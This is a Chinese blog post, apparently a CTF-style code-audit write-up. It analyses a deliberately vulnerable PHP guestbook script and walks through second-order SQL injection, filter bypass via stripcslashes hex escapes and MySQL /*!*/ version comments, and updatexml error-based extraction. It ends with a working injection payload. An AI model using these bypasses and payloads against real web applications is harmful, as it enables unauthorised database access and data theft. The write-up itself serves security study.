IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 从二次注入,到报错注入注入,再到正则表达式绕过 -> 正文阅读

[PHP知识库]从二次注入,到报错注入注入,再到正则表达式绕过

从二次注入,到报错注入注入,再到正则表达式绕过

0x01前言

回顾了下以前的代码审计

三个白帽,很经典

现在估计都没有了吧。

0x02 分析

<?php
include 'db.inc.php';
foreach(array('_GET','_POST','_COOKIE') as $key){
    foreach($$key as $k => $v){
        if(is_array($v)){
            errorBox("hello,sangebaimao!");
        }else{
            $k[0] !='_'?$$k = addslashes($v):$$k = "";
        }
    }
}

function filter($str){
    $rstr = "";
    for($i=0;$i<strlen($str);$i++){
        if(ord($str[$i])>31 && ord($str[$i])<127){
            $rstr = $rstr.$str[$i];
        }
    }
    $rstr = str_replace('\'','',$rstr);
    return $rstr;
}


if(!empty($message)){
    if(preg_match("/\b(select|insert|update|delete)\b/i",$message)){
        die("hello,sangebaimao!");
    }
    if(filter($message) !== $message){
        die("hello,sangebaimao!");
    }

    $sql="insert guestbook(`message`) value('$message');";
    mysql_query($sql);
    $sql = "select * from guestbook order by id limit 0,5;";
    $result = mysql_query($sql);
    if($result){
        while($row = mysql_fetch_array($result)){
            $id = $row['id'];
            $message = $row['message'];
            echo "|$id|=>|$message|<br/>";
        }
    }

    $message = stripcslashes($message);
    $sql = "delete from guestbook where id=$id or message ='$message';";
    if(!mysql_query($sql)){
        print(mysql_error());
        $sql = "delete from guestbook where id=$id";
        mysql_query($sql);
    };
}
?>

源码如题, 在我本地间的构造了一个数据库,然后就运行了。

  • 不难看出,有两个过滤的地方,一个是filter函数,另外一个是正则绕过。这是对输入的绕过。

  • 代码的逻辑也很简单,插入,显示,取出,删除。

  • 我们插入的数据,进入第二次的查询,这就存在二次注入了。二次注入的逻辑也很简单,只要插入的数据经过过滤之后可以正常查询就好了。

  • 然后就是回显的问题了,有一个print(mysql_error());那么就可以直接使用报错注入了

以上是对程序的简单分析。

0x03 绕过

  1. 关于单引号的绕过,这个地方比较特别,程序中有一个 m e s s a g e = s t r i p c s l a s h e s ( message = stripcslashes( message=stripcslashes(message);关于这个函数的作用可以简要要说明一下:

    反引用一个使用 [addcslashes()](https://www.php.net/manual/zh/function.addcslashes.php) 转义的字符串
    
    返回反转义后的字符串。可识别类似 C 语言的 *\n*,*\r*,... 八进制以及十六进制的描述。
    
    stripcslashes('H\xaello') == 'H'.chr(0xAE).'llo'
    

    既然可以转义,直接让他来转义\x27 就可以使用单引号了。

  2. 关于正则的绕过

    可以看出正则表达式中有\b

    先来看看\b的作用,\b的作用是匹配单词的边界。所谓的单词的边界就是特殊符号的边界。

    绕过的思路就来了,假设我们想使用select 在select前后加点单词就可以了。

    这里提一个mysql的tips

    /*!*/ 只在mysql中有用,在别的数据库中这只是注释,但是在mysql,/*!select 1*/可以成功执行,在语句前可以加上5位数字,代表版本号,表示只有在大于该版本的mysql中不作为注释.
    
    mysql> select version();
    +-----------+
    | version() |
    +-----------+
    | 5.7.9-log |
    +-----------+
    1 row in set (0.00 sec)
    
    mysql> select /*!50709version()*/;
    +-----------+
    | version() |
    +-----------+
    | 5.7.9-log |
    +-----------+
    1 row in set (0.00 sec)
    
  3. 关于报错注入

UpdateXML(xml_target, xpath_expr, new_xml)
updatexml函数有三个参数,作用是xml替换,把xml_target中被xpath_expr匹配到的部分使用new_xml替换

这个报错注入的原理是利用updatexml的参数错误,首先不能有语法错误,要不然注入的语句根本无法执行,语法正确后,先去执行concat(0x27,(/*!00000select version()*/)),得到'5.5.42-log,作为第二个参数传入updatexml函数中,而updatexml第二个参数为xml的匹配表达式,单引号为非法字符,因此报错,输出错误内容'5.5.42-log, 因此得到了你想要得到的数据

payload

?message=aaa\x27 and updatexml(0,concat(0x27,(/*!00000select version()*/)),0)%23

无级安全

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-11-09 19:14:44  更:2021-11-09 19:15:28 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/27 11:19:26-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码